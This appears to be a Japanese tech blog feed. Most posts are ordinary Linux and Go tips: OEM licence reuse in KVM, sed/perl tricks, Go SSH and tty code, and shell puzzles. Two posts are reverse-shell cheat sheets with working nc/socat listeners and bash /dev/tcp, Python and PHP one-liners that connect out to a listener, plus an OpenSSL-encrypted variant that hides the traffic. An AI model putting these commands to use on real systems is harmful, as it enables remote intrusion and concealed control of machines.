Quantcast
Channel: 俺的備忘録 〜なんかいろいろ〜
Viewing all 1028 articles
Browse latest View live

ノートPCに入れたLinuxデスクトップで、元々入ってたOEM版のWindows10のライセンスを使って仮想マシンを作成する

$
0
0

元々はWindowsが入ってたノートパソコンにLinuxを入れて使っている場合、元々入ってたWindowsを仮想マシンなどで使いたいといった場合がある。
Windows 7とかだとPCに貼ってあるシールのライセンスを使えばとりあえず利用できたのだけど、Windows 10の場合はOEMライセンスとしてインストールされているので、ライセンスシールが貼ってなかったりする。

で、なんか方法無いのかなと調べてみたところ、どうやら仮想マシンのハードウェア情報を一部いじれば実現できそうだということがわかった。

I just bought a new laptop. The first thing I did was take out the unbooted OEM Windows-10 hard disk and put in my pre-existing Linux hard disk from my last laptop. So far so good.The OEM drive...
Install Windows 10 from an unbooted OEM drive into Virtualbox? - Super User

 

Windows 10のOEMライセンスの場合、ハードウェアのBIOSにあるMSDMテーブルという領域からライセンスキーを読み出してアクティベーションしているため、その領域からキーを抜き出して仮想マシンのBIOSに登録してやればいいということだ。
というわけで早速やってみよう。今回、仮想マシンはKVMを利用する。(デスクトップLinuxでVritualBoxは、よほどの理由がない限りはわざわざ選択しなくてもいいだろう…(´・ω・`))

1. PC本体のBIOSからライセンス情報(MSDM)を取得する

まずは、PC本体のBIOSからライセンス情報の取得をする。
Linuxがインストールされている前提となるので、どのディストリビューションでも以下のコマンドで取得ができるだろう。

sudo tail -c +56 /sys/firmware/acpi/tables/MSDM
$ sudo tail -c +56 /sys/firmware/acpi/tables/MSDM
XXXXX-XXXXX-XXXXX-XXXXX-XXXXXX

 

このファイルを、別途テキストに書き出しておく。

sudo cat /sys/firmware/acpi/tables/MSDM > /path/to/dir/msdm.bin

2. 仮想マシンのBIOSにMSDMの情報を登録する

次に、仮想マシンを作成して、そのBIOSにMSDMの情報を登録する。
今回はすでにKVMで仮想マシンを作成済と仮定して、その仮想マシンファイルに以下の内容を追記する。

KVMの場合、以下のコマンドで仮想マシンの設定ファイルをエディタで編集できる。

virsh edit VM名

エディタを開いたら、以下の様な内容を追記する。
qemuのコマンドオプションを使うので、1行目にあるタグに「xmlns:qemu=’http://libvirt.org/schemas/domain/qemu/1.0’」という記述を忘れないようにしよう。
なお、ファイルのPATHはフルパスで記述する必要があるので注意。

<domain type='kvm' xmlns:qemu='http://libvirt.org/schemas/domain/qemu/1.0'>
  <!-- ... -->
  <qemu:commandline>
    <qemu:arg value='-acpitable'/>
    <qemu:arg value='file=/path/to/dir/msdm.bin'/>
  </qemu:commandline>
</domain>

 

VirtualBoxの場合については、先程の参考Urlに設定コマンドがあったので、それを使えばいいだろう。

VBoxManage setextradata VM名 \
           "VBoxInternal/Devices/acpi/0/Config/CustomTable" \
           ~/path/to/dir/msdm.bin

 

3. Windowsインストール

後は、そのまま元々入ってたのと同じWindowsのエディションをインストールしてやればいい。

 

【参考】

I just bought a new laptop. The first thing I did was take out the unbooted OEM Windows-10 hard disk and put in my pre-existing Linux hard disk from my last laptop. So far so good.The OEM drive...
Install Windows 10 from an unbooted OEM drive into Virtualbox? - Super User
How to use Windows 10 OEM license in libvirt VM (<smbios mode='host' /> does not work as Windows seems to verify UUID; apparmor/security configuration changes may be needed) - domain.xml
How to use Windows 10 OEM license in libvirt VM (<smbios mode='host... - Gist

 

インサイドWindows 第7版 上 システムアーキテクチャ、プロセス、スレッド、メモリ管理、他 (マイクロソフト公式解説書) インサイドWindows 第7版 上 システムアーキテクチャ、プロセス、スレッド、メモリ管理、他 (マイクロソフト公式解説書)

コンソール上で非ASCII文字だけを置換する

$
0
0

前に、grepで非ASCII文字だけを抽出(排除)するということをやっていたけど、今回は置換してみる。
置換といえばまずはsedになるのが、sed(GNU sed)でASCII文字以外を置換する場合、以下のようにする。

echo これはTESTなんだよ | sed 's/[^\d0-\d127]/xx/g'
< echo これはTESTなんだよ | sed 's/[^\d0-\d127]/xx/g'
xxxxxxTESTxxxxxxxx

 

もちろん、その逆でASCII文字だけを置換することも可能。

echo これはTESTなんだよ | sed 's/[\d0-\d127]/X/g'
< echo これはTESTなんだよ | sed 's/[\d0-\d127]/X/g'
これはXXXXなんだよ

 

ちなみに、perlを使う場合だともうちょっと楽に指定ができる。

echo "これはTESTなんだよ" | perl -pe 's/[^[:ascii:]]/x/g'
echo "これはTESTなんだよ" | perl -pe 's/[[:ascii:]]/x/g'
 < echo "これはTESTなんだよ" | perl -pe 's/[^[:ascii:]]/x/g'
xxxxxxxxxTESTxxxxxxxxxxxx
< echo "これはTESTなんだよ" | perl -pe 's/[[:ascii:]]/x/g'
これはxxxxなんだよx

 

余り使う機会はなさそうだけど、ASCII文字だけのテストデータを作りたいとか、そういうときに使えるかも。

 

[改訂新版]プログラマのための文字コード技術入門 (WEB+DB PRESS plusシリーズ) [改訂新版]プログラマのための文字コード技術入門 (WEB+DB PRESS plusシリーズ)

sedで置換結果にANSI Escapeを使って色付けをする

$
0
0

時折、sedで置換する際にエスケープシーケンスを使って文字の色を指定したい場合というのがあると思うけど、それについて今まで把握してなかったので備忘で残しておく。
sedでエスケープシーケンスを表現する場合、残念ながらechoのときのように\eとかで表現しても置換できない。じゃあどうすればいいのかというと、エスケープを文字コード(\x1b)で記述してやることで表現できる。

sed 's/<Before>/\x1b[32m<Replace>\x1b[0m/g;'

実際に動かしてみるとこんな感じ。
ちゃんと色が付与されているのがわかる。

 

値を変えないのであればgrepでGREP_COLORSを指定してやればいいのだけど、置換処理が必要なのであればsedでやっちゃったほうがいいだろう。

 

逆引きPython標準ライブラリ 目的別の基本レシピ180+! impress top gearシリーズ 逆引きPython標準ライブラリ 目的別の基本レシピ180+! impress top gearシリーズ

LINEとかで女の子に変なメッセージで絡むおじさんの文言ジェネレーター『ojichat』で遊ぶ in シェル芸bot

$
0
0

昨日、通勤中にふとGithubの通知のトコに謎のリポジトリが流れてきた。

おじさんがLINEやメールで送ってきそうな文を生成する. Contribute to greymd/ojichat development by creating an account on GitHub.
greymd/ojichat - GitHub

 

内容を確認したところ、どうやら「LINEとかTwitterで知らない女の子に下心丸出しの絵文字入れまくったメッセージ送るおじさん」のメッセージ文のジェネレーターのようだ。
ちゃんと形態素解析とかもして処理してるようで、単純に文言かけ合わせてるようなコマンドではないようだ。
(ぐれさんまた妙なものに全力を…!)

そのあとTwitter見てたら、どうやら公開後速攻でシェル芸botに組み込まれたらしい。
これは遊ぶしかない…!

1. 基本形

READMEにも書いてあるのだけど、基本的には以下のようにコマンドを実行するだけで文言を生成してくれる。
名前が文言に含まれる場合は自動生成されるようだ。

ojichat

 

引数で送り先の名前を指定したい場合は引数をつける。

ojichat なまえ

2. 応用例

文言を生成したなら、その後は応用してみる。

2-1. 人に送りつける

リアルのメッセージのように、人のアカウントにシェル芸botから送りつけるというテロ行為を行う。
注: 知らないひとに向けてはいけません!

echo '@'アカウント
ojichat なまえ

2-2. しゃべらせてみる

幸い?シェル芸botにはcowsayとかそういうのがいっぱいあるので、なんかに喋らせてみたりもできる。
(そしてついでに人に送りつける。(注:人に向けてはい(ry))

echo '@'theoldmoon0602
unko.shout $(ojichat "gǔ yuè"|sed 's/.............../& /g')| sed 's/Y^/Y/g' | sed -r 's,.,<span font="VL-Gothic-Regular" size="40000">&</span>,g'|convert -pointsize 80 -background Black -fill White pango:"$(cat)" /images/t.png

 

2-3. なんかすごいの

convertでいろいろとやってる闇豚さんのがなんかすごかった。

昨日のシェル芸botは ojichatの応酬が繰り広げられる地獄となっていました。

 

部長、その恋愛はセクハラです! (集英社新書) 部長、その恋愛はセクハラです! (集英社新書)

Linuxでディレクトリ構造だけをコピーする

$
0
0

先日、Twitter眺めてたらそんな感じの処理について見かけたので、楽に実現する方法について考えてみる。

1. tarでディレクトリだけを固める

別々のホスト間で処理する場合、tarでディレクトリだけを固めてしまい、コピー先でそれを展開するという方法が楽そうだ。

cd SourceDir;find ./ -type d -print0 | xargs -0 tar czvf dir.tar.gz --no-recursion # dir.tar.gzにディレクトリだけ固める
cd TargetDir;tar xzvf dir.tar.gz # コピー先にtar.gzを持っていって展開

 

同一ホストであれば、以下のようにパイプでつなげることでそのまま展開、コピーさせることも可能だ。

cd SourceDir;find ./ -type d -print0 | tar c -O . | tar xvf - -C /TargetDir

 

同一ホストでなくとも、コピー元から直接ssh接続できる場合は、以下のようにパイプで繋げてやることで直接tarを展開できるので、これを利用するといいだろう。

cd SourceDir;find ./ -type d -print0 | tar c -O . | ssh user@host tar xvf - -C /TargetDir

2. findでの結果をそのまま利用する

findから直接処理する場合、以下のようにコマンドを実行するといいだろう。
パーミッションの取得をするためにprintfオプションが必要になるので、GNU findじゃないと動作しない点に注意が必要。

find ./ -type d -printf "%m %p\n" | xargs -n2 bash -c 'mkdir -p -m $0 /opt/test2/$1'

 

traと同様、コピー元から直接ssh接続できるようであれば、それで処理することも可能だろう。
一応、リストだけ出力して別のホストに転送してしまえば、それでも処理は可能ではある。

[改訂第3版]シェルスクリプト基本リファレンス ──#!/bin/shで、ここまでできる (WEB+DB PRESS plus) [改訂第3版]シェルスクリプト基本リファレンス ──#!/bin/shで、ここまでできる (WEB+DB PRESS plus)

golangでUNIX系OSでパイプからの標準入力とキーボード入力を両立させる

$
0
0

Golangで、パイプからの標準入力を受け付けつつ、さらにキーボードからの入力を別に受付させたいということがあった。
で、前にシェルスクリプトの場合だと/dev/ttyから受け付けすることができる、という内容について記述したことがあったが、それと同じようにすることで実現できるようだ。

● sample_keyinput_and_pipe.go

package main

import (
	"fmt"
	"io"
	"log"
	"os"
	"time"

	"golang.org/x/crypto/ssh/terminal"
)

func readStdin() {
	buf := make([]byte, 1024)
	for {
		n, err := os.Stdin.Read(buf)
		if err != nil && err != io.EOF {
			log.Fatal(err)
		}
		fmt.Print("FROM STDIN:", string(buf[:n]))
		if err == io.EOF {
			return
		}
	}
}

func main() {
	// 標準入力からの読み取り(goroutine)
	go readStdin()

	// 表示が混ざるので、とりあえずsleep
	time.Sleep(10 * time.Millisecond)

	// promptの出力
	fmt.Print("\nINPUT TTY:")

	// /dev/ttyを開く
	tty, err := os.Open("/dev/tty")
	if err != nil {
		log.Fatal(err)
	}
	defer tty.Close()

	// bufferにキーボードからの入力を出力
	buf := make([]byte, 1024)
	n, err := tty.Read(buf)
	if err != nil && err != io.EOF {
		log.Fatal(err)
	}
	fmt.Print("\nFROM TTY:", string(buf[:n]))

	// passwordとして扱わせる
	// promptの出力
	fmt.Print("\nINPUT TTY(Password):")
	result, err := terminal.ReadPassword(int(tty.Fd()))
	if err != nil && err != io.EOF {
		log.Fatal(err)
	}

	fmt.Print("\nFROM TTY(Password):", string(result))

}

 

使いどころはそんなになさそうだけど、標準入力を受け付けながらパスワード入力を受け付ける、などのときに役に立つだろう。
(Windowsの場合だとどうすればいいのだろう…?)

 

Go言語でつくるインタプリタ Go言語でつくるインタプリタ

golangで~/.ssh/configを読み込んでssh接続する(ProxyCommand対応)

$
0
0

自作のsshクライアントコマンドで~/.ssh/configを読み込んで処理させる機能を追加したかったのだが、ProxyCommandがネックになっていたため今まで実装を見送っていた。
で、久しぶりになんか情報ないかなと探してみたところ、net.Pipe()を利用したら処理できるという情報を見かけた。

GMOペパボ Advent Calendar 2018 の4日目の記事です。 運用しているサーバに何か問題が発生したら、SSH接続をして原因の特定をします。特定するためにいろいろ確認をします。 しかし、自分はチームメンバーの中では上記があまり速いほうではありません。勘所もまだま...
~/.ssh/configを使って *ssh.Client を作成する - Copy/Cut/Paste/Hatena - Copy/Cut/Paste/Hatena

 

ProxyCommandはローカルで実行するコマンドになるので、そのコマンドの出力をPipeで繋げていけばいいようだ。なるほど…(´・ω・`)。
というわけで、さっそく実装してみた。こんな感じのコードで.ssh/configから指定したホストの情報を取得して、かつProxyCommandでのプロキシ経由の接続ができるようだ。
ソースコードはこちらにも上げてある。

● ssh_term_ssh_config_proxy_command.go

package main

import (
	"fmt"
	"io"
	"io/ioutil"
	"net"
	"os"
	"os/exec"
	"os/signal"
	"os/user"
	"strings"
	"syscall"

	"github.com/kevinburke/ssh_config"
	"golang.org/x/crypto/ssh"
	"golang.org/x/crypto/ssh/terminal"
)

var (
	host             = "test_cent7"    // テスト用ホスト
	defaultSshConfig = "~/.ssh/config" // ssh/config
)

func main() {
	// current user
	usr, _ := user.Current()
	confFile := strings.Replace(defaultSshConfig, "~", usr.HomeDir, 1)

	// .ssh/configを開いてDecode
	f, _ := os.Open(confFile)
	cfg, _ := ssh_config.Decode(f)

	// 情報の取得
	user, _ := cfg.Get(host, "User")
	addr, _ := cfg.Get(host, "HostName")
	port, _ := cfg.Get(host, "Port")
	keyPath, _ := cfg.Get(host, "IdentityFile")
	proxyCommand, _ := cfg.Get(host, "ProxyCommand")

	// keyPathを置換
	keyPath = strings.Replace(keyPath, "~", usr.HomeDir, 1)

	// ProxyCommandを置換
	proxyCommand = strings.Replace(proxyCommand, "%h", addr, -1)
	proxyCommand = strings.Replace(proxyCommand, "%p", port, -1)

	// sshConfigの生成
	auth := []ssh.AuthMethod{}
	key, _ := ioutil.ReadFile(keyPath)
	signer, _ := ssh.ParsePrivateKey(key)
	auth = append(auth, ssh.PublicKeys(signer))
	sshConfig := &ssh.ClientConfig{
		User:            user,
		Auth:            auth,
		HostKeyCallback: ssh.InsecureIgnoreHostKey(), // FIXME
	}

	fmt.Println(addr)
	fmt.Println(port)
	fmt.Println(user)
	fmt.Println(keyPath)
	fmt.Println(proxyCommand)

	// net.Pipeの作成
	cli, srv := net.Pipe()
	cmd := exec.Command("bash", "-c", proxyCommand)

	// 標準入出力の指定
	cmd.Stdin = srv
	cmd.Stdout = srv
	cmd.Stderr = os.Stderr

	// コマンドの実行
	if err := cmd.Start(); err != nil {
		os.Exit(1)
	}

	// // proxy経由での接続を実施
	conn, incomingChannels, incomingRequests, err := ssh.NewClientConn(cli, net.JoinHostPort(addr, port), sshConfig)
	if err != nil {
		os.Exit(1)
	}

	// proxy経由でのsshClientの作成
	client := ssh.NewClient(conn, incomingChannels, incomingRequests)
	// client, _ := ssh.Dial("tcp", net.JoinHostPort(addr, port), sshConfig)

	// ↓共通コード
	// Create Session
	session, err := client.NewSession()
	defer session.Close()

	// キー入力を接続先が認識できる形式に変換する(ここがキモ)
	fd := int(os.Stdin.Fd())
	state, err := terminal.MakeRaw(fd)
	if err != nil {
		fmt.Println(err)
	}
	defer terminal.Restore(fd, state)

	// ターミナルサイズの取得
	w, h, err := terminal.GetSize(fd)
	if err != nil {
		fmt.Println(err)
	}

	modes := ssh.TerminalModes{
		ssh.ECHO:          1,
		ssh.TTY_OP_ISPEED: 14400,
		ssh.TTY_OP_OSPEED: 14400,
	}

	err = session.RequestPty("xterm", h, w, modes)
	if err != nil {
		fmt.Println(err)
	}

	// log := new(bytes.Buffer)
	logFile, _ := os.OpenFile("./ssh_term_with_log.log", os.O_RDWR|os.O_CREATE|os.O_APPEND, 0600)

	session.Stdout = io.MultiWriter(os.Stdout, logFile)
	session.Stderr = io.MultiWriter(os.Stderr, logFile)
	session.Stdin = os.Stdin

	err = session.Shell()
	if err != nil {
		fmt.Println(err)
	}

	// ターミナルサイズの変更検知・処理
	signal_chan := make(chan os.Signal, 1)
	signal.Notify(signal_chan, syscall.SIGWINCH)
	go func() {
		for {
			s := <-signal_chan
			switch s {
			case syscall.SIGWINCH:
				fd := int(os.Stdout.Fd())
				w, h, _ = terminal.GetSize(fd)
				session.WindowChange(h, w)
			}
		}
	}()

	err = session.Wait()
	if err != nil {
		fmt.Println(err)
	}

}

 

Go言語による並行処理 Go言語による並行処理

Goで自作してるsshクライアントコマンドにパラレル接続のシェルもどきを追加してみた

$
0
0
List selection type alternative ssh/scp client.Pure Go. - blacknon/lssh
blacknon/lssh - GitHub

最近は、↑のGoで自作してるsshクライアントコマンド(lssh)の機能追加を主にやってる(で、こっちあまり更新してない(´・ω・`))。

実はちょっと前、下のようなツールを見かけて、それと同じようなことが自作のsshクライアントやりたいと思って機能追加していたのだけど、それがやっとできるようになった。
これが何なのかというと、sshで複数のノードにパラレル接続して、そのままプロンプト上からインタラクティブにコマンドを流せるというツールで、便利そうだしすごくかっこよさげなのだ。

An interactive parallel ssh client featuring autocomplete and asynchronous execution. - six-ddc/hss
six-ddc/hss - GitHub

 

ただ、sshの接続用のコンフィグを別に作らないとダメそうだし、普段はこの自作クライアントを使って接続してるから別にコンフィグ作るのもめんどくさい(~/.ssh/configはlsshから直接読めるから、そっちだったら楽だった)。
そんな理由で、自分のlsshにも同様の機能を追加してみることにした。

(家のサーバのsshの名前解決外してなかったので、接続時ちょっと遅いのはサーバの問題)

 

ただ移植っぽいことをするだけだと芸がないので、以下ができるようにしてみた。

  • 各ノードで実行しているコマンドの標準入力へキー入力をパラレルで送信(なので、複数台で同時にpasswdとかもできる)
  • iPythonみたいに、過去の実行結果を保持して後から閲覧可能にする

一応、Goで全部書かれてるからWindowsでも動くはず…(試してないけど)。

一応コマンドのパラレル実行機能は元々実装してあったので、プロンプトを追加して上の処理が行えるようにすることで対応はできた。
プロンプトは自作するのつらかったので、go-promptを使わせてもらうことにした。

まだ補完まわりがうまくできてないので、そのあたりをうまいこと処理できるようにしたいなぁというところ。
補完結果自体は(リモート先がbashを使ってること前提で)compgenを使えばコマンドもファイルPATHも取ってこれると思うんだけど、多分構文解析とかを絡めないといけないと思うので、ちょっと考える必要がありそう。

普段は↓のように普通に1台づつターミナル接続してて、このとき自作のbashrcをそのまま直接読み込ませられるから大体同じ環境で操作できるのだけど、複数台で同時作業する際に同じようなことをするにはちょっと考えないとだめかもなぁ…(´・ω・`)。

 

ターミナルの色を変更するのは簡単なんだけど、ローカルのbashrcをどうやってファイル転送させずに読み込ませた状態でパラレル接続するのかが課題になりそう。

 

OpenSSH[実践]入門 Software Design plus OpenSSH[実践]入門 Software Design plus

第42回シェル芸勉強会に参加してきました(復習)

$
0
0

先日実施された、第42回シェル芸勉強会に参加してきたので、その復習。
今回は難しめにしたとのこと。

問題はこちら。最初に、問題等に使用するファイルをgitからcloneしておくといい。
(といっても、ファイルは1個しかない)

git clone https://github.com/ryuichiueda/ShellGeiData

 

Q1

「正の整数の組(x, y, z)について、x + xy + xyz = 1234, x < y < zを満たす組み合わせを全て選べ」という問題。
数学オリンピックから出題されていた問題をちょっと改変した問題らしい(多分オリジナルはこれ)。

普通に計算させると終わらないので、↑のオリジナルと同じように最初の段階でちょっと頭を使う必要があるようだ。
上記の式は「x(1+y+yz) = 1234」となるのだけど、これを処理していくとfactorの結果として出力される数字が必ず含まれることになるから、それを利用する。

[REMOTE][ubuntu@test-ubuntu1804][~]
(`・ω・´) < factor 1234
1234: 2 617

 

上記の値と1を足した、3つの数字が必ず含まれるので、それを利用してブレース展開してやるといいようだ。
模範解答より短く書けなそうなので、解説付きで記述。

echo {1,2,617}_{1..1234}_{1..1234} # ブレース展開で組み合わせを出力
echo {1,2,617}_{1..1234}_{1..1234} | tr '_ ' ' \n' # _ => ' '(スペース), ' '(スペース) => 改行に置換
echo {1,2,617}_{1..1234}_{1..1234} | tr '_ ' ' \n' | awk '$1<$2&&$2<$3&&$1*(1+$2+$2*$3)==1234' # 各列に対して、条件に一致する内容か精査して出力

 

Q2

gitで落としてきたファイル「oji」の中にある絵文字を、全て💩に置換するという内容。
「oji」の中身は、先日ぐれさんが作ってたojichatの出力みたいだ。

[REMOTE][ubuntu@test-ubuntu1804][~/Work/201906/20190617]
(`・ω・´) < cat oji
あれ(^_^;さのチャン、朝と夜間違えたのかな❗❓⁉俺はまだ起きてますよ〜😃 ちょっと電話できるかナ( ̄ー ̄?)⁉天気悪いと気分もよくないよね😱じゃあ今日は会社休んで俺とデートしヨウ💕ナンチャッテ🎵(笑)😘

 

似たような処理をちょっと前にシェル芸botでやって遊んでたので、それを改変してやればいいようだ。
Perlでやってたのだが、残念ながらPerlだとRubyほど短く書けない。PerlのUnicode Propertiesだと絵文字をまるごと範囲指定出来ないので、「残したい文字種以外」といった指定方法が楽なのだけど、それでもかなり文字数を使う。
やはりRubyはこういう処理だと強いなぁ…。

# Perlの場合
cat oji | perl -C -ple 'use utf8;s/[^\p{BasicLatin}|\p{Katakana}|\p{Hiragana}|\p{Han}|\p{CJKSymbolsAndPunctuation}|\p{HalfwidthAndFullwidthForms}]/&#x1f4a9;/g'

# Rubyの場合
cat oji | ruby -lne 'p $_.gsub(/\p{Emoji}/, "💩")'

 

Q3

1〜20までの出力から、素数の場合にランダムな値(同じ出力ではだめ)を出力させるという内容。
factorの出力から2列のもののみを利用することで対応できるので、awkのgetlineを使おうと思っていたところ、出力が変わらずに引っかかってしまった。

seq 20 | factor | awk 'NF==2{"echo-meme うんこ"|getline v;print $0,v}NF!=2{print}'

 

(解決策を自分で書いてて忘れてたのだが)awkでgetlineを使った場合、ちゃんと「close(cmd)」をしないと終了にならないので、それが必要だったのを忘れていたのが原因。
close(cmd)を行う際、実行するコマンドを変数に入れておいたほうがいろいろと都合がいいので、最終的な回答は↓のような感じになる。

seq 20 | factor | awk 'NF==2{c="echo-meme うんこ";c|getline v;close(c);print $0,v}NF!=2{print}'
[REMOTE][blacknon@bs-pub-ubuntu-03][~/ShellGeiData/vol.42]
(`・ω・´) < seq 20 | factor | awk 'NF==2{c="echo-meme うんこ";c|getline v;close(c);print $0,v}NF!=2{print}'
1:
2: 2 我がドイツのうんこは世界一ィィィ!
3: 3 よろしい ならばうんこだ
4: 2 2
5: 5 人民の、人民による、人民のためのうんこ
6: 2 3
7: 7 うんこっていうレベルじゃねぇぞ!
8: 2 2 2
9: 3 3
10: 2 5
11: 11 人民の、人民による、人民のためのうんこ
12: 2 2 3
13: 13 よろしい ならばうんこだ
14: 2 7
15: 3 5
16: 2 2 2 2
17: 17 俺らこんなうんこいやだ 俺らこんなうんこいやだ 東京へ出るだ
18: 2 3 3
19: 19 お前のモノはうんこのモノ、うんこのモノはうんこのモノ
20: 2 2 5

 

Q4

数字を打たずに「3」を出力しろという内容。難読化シェル芸系の問題だ。
いろんなやり方が考えられるけど、とりあえず短いやり方だとこんなのだろうか。

echo ..|wc -m
wc -m<<<..

Q5

アルファベットを打たずにlsを実行しろという内容。こちらも難読化シェル芸系な問題だ。
文字コードを指定しての実行が簡単なので、それで対応する。

printf ls | xxd -a | cut -d' ' -f2 | grep -o .. | awk '{print "printf \"\\%o\" 0x"$1";"}' | bash | sed "s/^/$'/;s/$/'/" # 文字コードに変換
$'\154\163' # これで実行可能

 

ほかにも記号だけで回答するのとか、いろいろな方法があるのだけど、残念ながらそこまで難読化シェル芸を理解できてない(´・ω・`)。

 

Q6

ターミナル上でドット絵を生成して電車の電子案内板?(あの電車の上の方にある行き先書いてあるやつ)みたいなのを生成する際、飛行機の向きが絵文字だと逆なので、それを戻すという内容。
この辺になると疲れてた+あんまり電車好きじゃないのでモチベーションわかないという理由でちゃんとやれなかったので、模範回答だけ転載しておく。

●模範解答

echo ✈︎快特羽田空港 |sed -r 's/(.)./\1/' |
textimg -F40|convert - -compress none pbm:- |
tail -n +3|tr -d ' '|sed -r 's/.{40}/&\n/' |
sed -r '1~2s/.*/echo & | rev/e' | xargs -n 2 |
tr -d ' ' |sed -r 's/.{120}/&\n/'|
sed -e '1~2s/0/■/g' -e '1~2s/1/🍀/g'  -e '2~2,$s/0/□/g' -e '2~2,$s/1/■/g'|
xargs -n 2 | tr -d ' ' |textimg > a.png

 

Q7

seqとfactorで素数を生成して、桁が変わる場合は改行するという問題。
とりあえず愚直にawkでやる方式。

seq 1001 | factor | awk 'NF==2{print $2}' | awk 'BEGIN{ol=1}{l=length($1);if(l==ol){printf($1" ")}else{print $1};ol=l}'

 

最初はjqでやれるんじゃないか?とか思ったけど、ちょっと難しそう…(´・ω・`)

Q8

また電車系の問題。
電車の上の方に書いてある電子掲示板みたいなので、成田空港行きのを生成するやつ。

これもちょっと電車好きじゃないので、模範解答だけ書いておく。

$ echo "成田空港"|textimg -F40|convert - -compress none pbm:- |
tail -n +3|tr -d ' '| sed 's/0/🍊/g;s/1/□/g' > a
$ echo For Narita-Airport |textimg -F15|
convert - -compress none pbm:- |tail -n +3|tr -d ' '|
sed 's/0/🍀/g;s/1/□/g' |
awk '{for(i=1;i<=17;i++)printf "□";printf $0;for(i=1;i<=17;i++)printf "□";print ""}' > b
$ cat a b | textimg > a.png

 

最近ちょっと疲れ気味なので、記事書くのにえらく時間がかかってしまった。
今の仕事、日中結構頭を使うので疲れやすい傾向があると思うのだけど、それ+通勤長いのが理由だと思うので、早いとこ会社の近くに引っ越したいなぁ…(´・ω・`)

 

難読化シェル芸の世界 ~Bashとすてきな難読化~ (プレミアムブックス版) 難読化シェル芸の世界 ~Bashとすてきな難読化~ (プレミアムブックス版)

Perl・Rubyでコンソール上で標準入力から受け付けた絵文字😅💖をすべて削除・置換する

$
0
0

先日行われたシェル芸勉強会でそういった問題が出てたのだけど、絵文字をすべて削除したり置換する方法って今後使うこともありそうなので、これだけ抜き出して記述しておくことにする。

 

Perlを使う場合

Perlの場合、Unicode Propitiesというのがあるので、それで絵文字として指定…できればよかったんだけど、残念ながらそのブロック単位では無いらしい。
もうちょっと小さい単位で定義されているので、こういうときに一発で指定が出来ない。なので、使う文字ブロックだけを指定してやるとよさそうだ。

command ... | perl -C -ple 'use utf8;s/[^\p{BasicLatin}|\p{Katakana}|\p{Hiragana}|\p{Han}|\p{CJKSymbolsAndPunctuation}|\p{HalfwidthAndFullwidthForms}]//g'

Rubyを使う場合

Rubyの場合、最初から絵文字がブロックとして登録されているので、そのまま指定してやればよい。

command ... | ruby -lne 'p $_.gsub(/\p{Emoji}/, "")'

 

やはり、こういう問題ではRubyは強いようだ。
sedとかでやるとかなり辛いことになりそう(文字コード指定して、範囲外はすべて置換するみたいなことになりそう)。

 

たのしいRuby 第6版 (Informatics&IDEA) たのしいRuby 第6版 (Informatics&IDEA)

Reverse Shellのコマンドいろいろ

$
0
0

最近になってReverse Shellをちょっとだけ使う機会があったのだけど、前に学習してたよりいろいろと便利なやり方とか方法がいろいろとあるのを知ったので、ちょっとまとめてみることにした。

1. 受付側のコマンド

実行側のシェルを受け付ける側。listen。

1-1. ncを使う場合

nc -nlvp <port>

 

1-2. socatを使う場合

socat tcp-listen:<port>,reuseaddr,fork stdout

 

2. 実行側のコマンド

RCEなどでOSコマンドを実行させる方のコマンド。server。

2-1. bashを使う場合

bash -i 9<>/dev/tcp/<addr>/<port> <&9 >&9 2>&9

 

2-2. Pythonを使う場合

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<addr>",<port>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

 


2-3. phpを使う場合

php -r '$sock=fsockopen("<addr>",<port>);exec("/bin/bash -i <&3 >&3 2>&3");'


3. ttyを利用する場合

Reverse Shellでttyを利用する場合、以下のような組み合わせにすることで利用できるようだ。
特にlisten側でsocatを使うことで、Ctrl+C(Sigint)なども通常のターミナルと同じ感覚で扱えるようになる(一応ncでも動作はするが、Ctrl+Cなどはserver側に送れずncが終了する)。

3-1. listen側

stty raw -echo && socat file:$(tty),raw,unlink-close=0 tcp-listen:5555

 

3-2. server側

python -c 'import pty; pty.spawn("/bin/bash")' 9<>/dev/tcp/172.20.100.122/5555 <&9 >&9 2>&9 # pythonを利用する場合
script -c 'bash -i' /dev/null 9<>/dev/tcp/172.20.100.122/5555 <&9 >&9 2>&9 # scriptコマンドを利用する場合

 

scriptでなくても、ttyが払い出されるコマンド(expectなど)であればそれでも代用できそうだ。

 

[改訂第3版]シェルスクリプト基本リファレンス ──#!/bin/shで、ここまでできる (WEB+DB PRESS plus) [改訂第3版]シェルスクリプト基本リファレンス ──#!/bin/shで、ここまでできる (WEB+DB PRESS plus)

OpenSSLでReverse Shellの通信を暗号化する(+”Ctrl+C”の対応)

$
0
0

Reverse Shellで接続する際、普通にncやsocatで受け付けて処理すると間の通信が暗号化されてないので、パケットキャプチャすると何してるのか見えてしまったりする。
これはあまりよろしくないことが多いので、OpenSSL経由でReverse Shellを使うことで間の通信を暗号化してみることにする。

なお、証明書はオレオレ証明書にする(ちゃんとした証明書使ってもいいけど、この用途でわざわざやる必要もないかなと…)。

1. Listen側

まずはオレオレ証明書の作成から。(すでにあるならやらなくていいかも)

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 3650 -nodes

 

オレオレ証明書を作成したら、以下のコマンドでOpenSSLでの通信待ち受けをする。

openssl s_server -quiet -key key.pem -cert cert.pem -port <port>

 

2. Server側

次にServer側(Listen側にShellを渡す方)。
opensslとshellでやり取りをするために名前付きパイプを使う必要があるので、以下のようにコマンドを実行する。

mkfifo /tmp/p;bash -i < /tmp/p 2>&1 | openssl s_client -quiet -connect <host>:<port> > /tmp/p;rm -f /tmp/p

 

これで、通信が暗号化された状態でReverse Shellの利用ができるようになる。

3. tty(仮想端末)も有効にしてみる

さて、おまけで仮想端末を利用して、かつCtrl+Cといったキーバインドもサーバ側に渡せるように接続してみよう。
やり方は簡単で、socatではopenssl-listenでの受け付けが可能なので、それを利用すればいい。

3-1. listen側

socat `tty`,raw,echo=0 openssl-listen:55555,reuseaddr,cert=cert.pem,key=key.pem,verify=0

 

3-2. server側

mkfifo /tmp/p;script -qc 'bash -i' /dev/null < /tmp/p 2>&1 | openssl s_client -quiet -connect 172.20.100.122:55555 > /tmp/p;rm -f /tmp/p

 

接続直後は表示が崩れてしまう状態なので、Reverse Shellで以下のコマンドを実行して端末情報をリセットする。

stty sane

 

これで、Reverse ShellでのSSL化+キーバインド対応ができるようになる。
(あんまり使うこと無い気がするけど)

 

プロフェッショナルSSL/TLS プロフェッショナルSSL/TLS

Goでターミナル接続sshクライアントを作成する(x11 forwarding対応)

$
0
0

